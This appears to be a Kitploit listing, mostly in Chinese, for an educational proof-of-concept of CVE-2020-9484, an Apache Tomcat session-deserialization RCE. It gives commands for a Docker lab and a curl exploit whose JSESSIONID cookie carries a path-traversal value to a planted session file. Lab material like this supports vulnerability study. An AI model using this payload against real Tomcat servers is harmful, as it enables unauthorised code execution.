CVE-2020-9484 — Educational proof-of-concept exploit for CVE-2020-9484 (Apache Tomcat RCE via session persistence). Includes Docker-based lab for testing the deserialization vulnerability. | Kitploit

CVE-2020-9484 (Tomcat)

仅供教育目的。

详情请查看参考资料。

运行

$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`

检查（未受攻击）

$ docker exec -it $CONTAINER ls -la /tmp

注意： (rce 不在输出中)

利用

$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

检查（已利用）

$ docker exec -it $CONTAINER ls -la /tmp

注意： (rce 在输出中)